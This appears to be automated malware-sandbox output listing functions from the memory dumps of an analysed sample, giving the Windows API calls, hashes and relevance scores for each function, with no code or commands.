                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 2cf4474cce03acb01e0e5644c64de350d6e761b87ed36f42188ae31a4eb8449c
                                                                                                      • Instruction ID: a1f14d62795ab670f0044eebfb1c47359cc9497697993704e04adf02d921d96a
                                                                                                      • Opcode Fuzzy Hash: 2cf4474cce03acb01e0e5644c64de350d6e761b87ed36f42188ae31a4eb8449c
                                                                                                      • Instruction Fuzzy Hash: BFC1BA38906228CFCB64DF24D89DA9CBBB2BF49305F1045D9D54AA2345CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48440 Relevance: 3.2, APIs: 2, Instructions: 235COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 0d22c8df516c22007a729c4f866c0606cae65c45ab953904c6f6909ff7e574a6
                                                                                                      • Instruction ID: ee185f60888778ca8c2c0dd71d27322283e68ed433e7c25b92b665ebdc2430af
                                                                                                      • Opcode Fuzzy Hash: 0d22c8df516c22007a729c4f866c0606cae65c45ab953904c6f6909ff7e574a6
                                                                                                      • Instruction Fuzzy Hash: 3BC1CA38906228CFCB64DF24D89DA9CBBB2BF45305F1045D9D54AA2345CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48485 Relevance: 3.2, APIs: 2, Instructions: 228COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 812b4c47bb0eb91435cfe7007bb7d1050cba78f066f5b21ef5e8700275251582
                                                                                                      • Instruction ID: f169995448cbaf57b9de614ccfb949277cd24aaee62b3a987599e6283fe35c1c
                                                                                                      • Opcode Fuzzy Hash: 812b4c47bb0eb91435cfe7007bb7d1050cba78f066f5b21ef5e8700275251582
                                                                                                      • Instruction Fuzzy Hash: E3C1B938906228CFCB64DF24D88DA9CBBB2BF49305F1045D9E44AA2385CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C484CA Relevance: 3.2, APIs: 2, Instructions: 221COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 87cf5cb32d23da2c64d37bdf1441b270585573bb3016ba9e2da54b8220696fd3
                                                                                                      • Instruction ID: 502086427e391f3b37e2c6f51cf3e6402dc7ec0c4ff8db9d1385829ffe2e679a
                                                                                                      • Opcode Fuzzy Hash: 87cf5cb32d23da2c64d37bdf1441b270585573bb3016ba9e2da54b8220696fd3
                                                                                                      • Instruction Fuzzy Hash: C5B1B838906268CFCB64DF24D88DA9CBBB2BF49345F1045D9E44AA2385CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C4850F Relevance: 3.2, APIs: 2, Instructions: 214COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: cfafd160cfeec9352fe99b4c14fb0e4fb7347bffabe51ad699f838982607b7c6
                                                                                                      • Instruction ID: 5a6a11ea61bf1b51166c42899eae8872f08b6244012c8f0bb6018b165337397e
                                                                                                      • Opcode Fuzzy Hash: cfafd160cfeec9352fe99b4c14fb0e4fb7347bffabe51ad699f838982607b7c6
                                                                                                      • Instruction Fuzzy Hash: DCB1BA38906268CFCB64DF24D88DA9DBBB2BF49345F1045D9D44AA2385CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48554 Relevance: 3.2, APIs: 2, Instructions: 207COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: ed182c9e736776528a0ed0d42d732a16b7be344c3d4d215569e1d0b88e156cf7
                                                                                                      • Instruction ID: 5d0ab1458a640d026abb13ac795986748c2342f569c1b85a20739bd79b1637fb
                                                                                                      • Opcode Fuzzy Hash: ed182c9e736776528a0ed0d42d732a16b7be344c3d4d215569e1d0b88e156cf7
                                                                                                      • Instruction Fuzzy Hash: 2EB1B938906228CFCB64DF24D88DA9DBBB2BF49346F5045D9E44AA2385CB359DC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48599 Relevance: 3.2, APIs: 2, Instructions: 198COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 3d31f9c234ba9e30d470cfd79a1fb54db59d1b77026753957423fbca7db927aa
                                                                                                      • Instruction ID: f71de307a8b0c21a5350f686ff2cb64ef688377638d6148dba56806649a8bcde
                                                                                                      • Opcode Fuzzy Hash: 3d31f9c234ba9e30d470cfd79a1fb54db59d1b77026753957423fbca7db927aa
                                                                                                      • Instruction Fuzzy Hash: B8A1B838906228CFCB64DF24D88DA9DBBB2BF49346F5045D9E44AA2385CB359DC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C485D5 Relevance: 3.2, APIs: 2, Instructions: 193COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 13729a9cd8860f3b265c9729132755ae6dad330b578486103d60dbe161cdd7df
                                                                                                      • Instruction ID: 3d3ec8aacea8a86d461105b52ca4c43ccc66ae85dc8e49140b30b7e314c1d11e
                                                                                                      • Opcode Fuzzy Hash: 13729a9cd8860f3b265c9729132755ae6dad330b578486103d60dbe161cdd7df
                                                                                                      • Instruction Fuzzy Hash: 98A1B838906228CFCB64DF24D88DA9DBBB2BF49345F5045D9E44AA2385CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E80878 Relevance: 1.8, APIs: 1, Instructions: 256memoryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • VirtualAllocExNuma.KERNELBASE(?,?,?,?,?,?), ref: 00E80B16
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: AllocNumaVirtual
                                                                                                      • String ID:
                                                                                                      • API String ID: 4233825816-0
                                                                                                      • Opcode ID: 79d36c16ad8d2a48248455b006dad012b7f85d4d359f126e257803f77d2ce51d
                                                                                                      • Instruction ID: 6266c78438e189417adeab22d18405fcd600bb27e9c4c5f6e0cff2aac9ff5c17
                                                                                                      • Opcode Fuzzy Hash: 79d36c16ad8d2a48248455b006dad012b7f85d4d359f126e257803f77d2ce51d
                                                                                                      • Instruction Fuzzy Hash: E3818C71E042488FDB64DFA9D88179DBBB0EF89324F10846AE50DF7291D7349C49CB91
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48630 Relevance: 1.7, APIs: 1, Instructions: 182COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 42aa46e85bf81727887403990ef0a76d96f8fbaa6201c3c8c9b4cc0eb4f3fb3a
                                                                                                      • Instruction ID: d60fb60eb103837f6f102b40cd86fb9a402efd06e7ba9d30395bcb65b25741e1
                                                                                                      • Opcode Fuzzy Hash: 42aa46e85bf81727887403990ef0a76d96f8fbaa6201c3c8c9b4cc0eb4f3fb3a
                                                                                                      • Instruction Fuzzy Hash: CB91A838906228CFCB64DF24E88DA9DBBB2BF49345F5045D9E44AA2385CB359DC1CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48675 Relevance: 1.7, APIs: 1, Instructions: 175COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: b9935c1048ba30f87b3fa8a30d5e8d4ad289ba52fadbced39d1c13be8583d6a9
                                                                                                      • Instruction ID: e3ab685be3bcdf0095426b7308923ed8cebe4f42aa89f013ca8e86e3255b30b7
                                                                                                      • Opcode Fuzzy Hash: b9935c1048ba30f87b3fa8a30d5e8d4ad289ba52fadbced39d1c13be8583d6a9
                                                                                                      • Instruction Fuzzy Hash: 2E91B938906228CFCB64DF24E88DA9DBBB2BF46345F1045D9E44AA2385CB359DC1CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C486BD Relevance: 1.7, APIs: 1, Instructions: 168COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 19709861f17c5cf97468f8e9edd35c83d08a5fbe33db44807edb317bc0cd1b53
                                                                                                      • Instruction ID: d6b5a5abbf9831282d2b78ced38effda4cf825ad6c9cf91e20092786c3c8cc23
                                                                                                      • Opcode Fuzzy Hash: 19709861f17c5cf97468f8e9edd35c83d08a5fbe33db44807edb317bc0cd1b53
                                                                                                      • Instruction Fuzzy Hash: 1C919638906228CFCB64DF24E88DA9DBBB2BF45345F1045D9E44AA2385CB359EC5CF11
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48705 Relevance: 1.7, APIs: 1, Instructions: 159COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 3cde6214522111425210c5f7be6308b4cdbdcdbe5397eeaf1ee6b5143051c011
                                                                                                      • Instruction ID: 585209d2f6039ed175ae15112744845b7a29ce2e78a80868f339ebff1677cd39
                                                                                                      • Opcode Fuzzy Hash: 3cde6214522111425210c5f7be6308b4cdbdcdbe5397eeaf1ee6b5143051c011
                                                                                                      • Instruction Fuzzy Hash: 8981C938906228CFCB64EF24E88DA9DBBB2BF45345F1045D9E44AA2385CB359DC1CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48741 Relevance: 1.7, APIs: 1, Instructions: 154COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 762324c1b4d2f23951a82e896e33435e292e97cef4dcd3f01534c9b065705ec8
                                                                                                      • Instruction ID: 930a7c92cd8d5a548125a822825e496284a8a080914fb06207e32c5fc6a2d34c
                                                                                                      • Opcode Fuzzy Hash: 762324c1b4d2f23951a82e896e33435e292e97cef4dcd3f01534c9b065705ec8
                                                                                                      • Instruction Fuzzy Hash: C781B938906228CFCB64DF24D88DA9DBBB2BF49345F1045D9D44AA2385CB359EC1CF11
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48789 Relevance: 1.6, APIs: 1, Instructions: 145COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 429828b35a460c035c588a46dcbd3e15d124917b39976f65e2d38fd3e729d95d
                                                                                                      • Instruction ID: 61cbbf451ba717068f390e71692fed4e3f48b7903b3982c97ae3417d27cbc3e3
                                                                                                      • Opcode Fuzzy Hash: 429828b35a460c035c588a46dcbd3e15d124917b39976f65e2d38fd3e729d95d
                                                                                                      • Instruction Fuzzy Hash: F371B938906228CFCB64EF64E88DA9CBBB2BF46345F1045D9D54AA2385CB359DC1CF11
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C487C5 Relevance: 1.6, APIs: 1, Instructions: 140COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: c9a48ada3d42dbd79c4710c5cd7cedb3401dafc7e54ea116c231930b86994e55
                                                                                                      • Instruction ID: de8bab44b292b0875f28d77f9dbc35e07d257ad53fa61b273b196f845673ff19
                                                                                                      • Opcode Fuzzy Hash: c9a48ada3d42dbd79c4710c5cd7cedb3401dafc7e54ea116c231930b86994e55
                                                                                                      • Instruction Fuzzy Hash: 7971A738906228CFCB64DF24D88DA9CBBB2BF45345F5045D9D54AA2385CB359EC1CF11
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C45DD5 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • GetUserNameW.ADVAPI32(00000000,00000000), ref: 05C45F1B
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: NameUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 2645101109-0
                                                                                                      • Opcode ID: 643571d5a88645f8eeaf347a6d9f3c9b5ecf90da70cc47279c159f1645870856
                                                                                                      • Instruction ID: 0a39c4d4f83a86da7f32d0b67a774fca05e7fc3a96997a6c2d9c8465adbab96a
                                                                                                      • Opcode Fuzzy Hash: 643571d5a88645f8eeaf347a6d9f3c9b5ecf90da70cc47279c159f1645870856
                                                                                                      • Instruction Fuzzy Hash: 225104B4D102188FDB14CFA9C889BDDBBF1BF48314F15852AE816AB390D7789844CF95
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C45B74 Relevance: 1.6, APIs: 1, Instructions: 134COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • GetUserNameW.ADVAPI32(00000000,00000000), ref: 05C45F1B
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: NameUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 2645101109-0
                                                                                                      • Opcode ID: a7238d6f7914646c1f78be279b5a4acced0a882420470750f626c629f98e5d75
                                                                                                      • Instruction ID: 838a89464c48d91468911059b21becd9761c3cbcfcfe6d9a36d94815a123c515
                                                                                                      • Opcode Fuzzy Hash: a7238d6f7914646c1f78be279b5a4acced0a882420470750f626c629f98e5d75
                                                                                                      • Instruction Fuzzy Hash: 845104B4D102188FDB14CFA9C889BDDBBF1BF48314F15852AE816AB391D778A844CF95
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C4880D Relevance: 1.6, APIs: 1, Instructions: 133COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 007d4a40936129779af62365ba8157e400632a93af3db7b35b8cccdaa9d29ae5
                                                                                                      • Instruction ID: 727ecf641106b28830a88fc2490b5d7352a5613dea905b1fdc0f1a56060c657e
                                                                                                      • Opcode Fuzzy Hash: 007d4a40936129779af62365ba8157e400632a93af3db7b35b8cccdaa9d29ae5
                                                                                                      • Instruction Fuzzy Hash: F261A938902228CFCB64DF24D88DA9CBBB2BF45345F5045D9D54AA2385CB359EC5CF51
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48855 Relevance: 1.6, APIs: 1, Instructions: 126COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 5ae9bc894d0cdc4821062df39b79bba2f6561dcde9a8acbce335584b7c743868
                                                                                                      • Instruction ID: 9ba2c2533488ef3014fef892f80321bd9fd1c87fb2192ae0c682b3a632053c79
                                                                                                      • Opcode Fuzzy Hash: 5ae9bc894d0cdc4821062df39b79bba2f6561dcde9a8acbce335584b7c743868
                                                                                                      • Instruction Fuzzy Hash: B851B838902228CFCB64EF64D88DA9CBBB2BF45345F1045D9D54AA2385CB359EC1CF11
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C4889D Relevance: 1.6, APIs: 1, Instructions: 119COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 835a996b87df8022768d9fb7670fe40a52024565f7203e075a6fa035b0bc03af
                                                                                                      • Instruction ID: 25e1cf2fda46b565ebc723aca0d8d8876331f84d5c6c80d1db902ed359439811
                                                                                                      • Opcode Fuzzy Hash: 835a996b87df8022768d9fb7670fe40a52024565f7203e075a6fa035b0bc03af
                                                                                                      • Instruction Fuzzy Hash: B751B838902228CFCB64EF24D88DA9CBBB2BF46345F5045D9D54AA2395CB359EC1CF51
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E8D6CD Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • LoadLibraryA.KERNELBASE(?), ref: 00E8D7A2
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: LibraryLoad
                                                                                                      • String ID:
                                                                                                      • API String ID: 1029625771-0
                                                                                                      • Opcode ID: 171b6f15be3ec62eb4b30a09e07dded75ce800233d4593f87413559a8e7fc066
                                                                                                      • Instruction ID: 433c971516f3af973100bb4bb40afd5b7a4f0c3f6992f239cd03ba1bd4324a93
                                                                                                      • Opcode Fuzzy Hash: 171b6f15be3ec62eb4b30a09e07dded75ce800233d4593f87413559a8e7fc066
                                                                                                      • Instruction Fuzzy Hash: 383142B0D042498FDB14EFA9D98579EBBF1FB08314F14812AE819F7280E7799845CF95
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E8B794 Relevance: 1.6, APIs: 1, Instructions: 89libraryCOMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • LoadLibraryA.KERNELBASE(?), ref: 00E8D7A2
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: LibraryLoad
                                                                                                      • String ID:
                                                                                                      • API String ID: 1029625771-0
                                                                                                      • Opcode ID: b70dd1cb6d1eb0a408bb72cc0b72a6ef86a717dc8e63a3f8ff5bd436717cf461
                                                                                                      • Instruction ID: af737287428e1b2bc6f79c8c74b93484666b4a5bed61d824018826e358200f98
                                                                                                      • Opcode Fuzzy Hash: b70dd1cb6d1eb0a408bb72cc0b72a6ef86a717dc8e63a3f8ff5bd436717cf461
                                                                                                      • Instruction Fuzzy Hash: 383143B0D082488FDB14EFA9D98579EBBF1FB48314F10812AE819F7280E7759845CF95
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 00E857FF Relevance: 1.6, APIs: 1, Instructions: 78COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • RtlEncodePointer.NTDLL(00000000), ref: 00E8588A
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.521615048.0000000000E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E80000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_e80000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: EncodePointer
                                                                                                      • String ID:
                                                                                                      • API String ID: 2118026453-0
                                                                                                      • Opcode ID: 387b4fbc8b01e780b8e967352b07a1d6c0381f62132734f10122470e95a0f61f
                                                                                                      • Instruction ID: 7a2a4f4e5a07bb9832367b75fc9fb5cdf0191fb7b6aed8771abd6b3527d3a23a
                                                                                                      • Opcode Fuzzy Hash: 387b4fbc8b01e780b8e967352b07a1d6c0381f62132734f10122470e95a0f61f
                                                                                                      • Instruction Fuzzy Hash: 5831E176806345CFDB10DFA0E94939ABFF0EF02314F14946AD409A7292CB796908CFA1
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

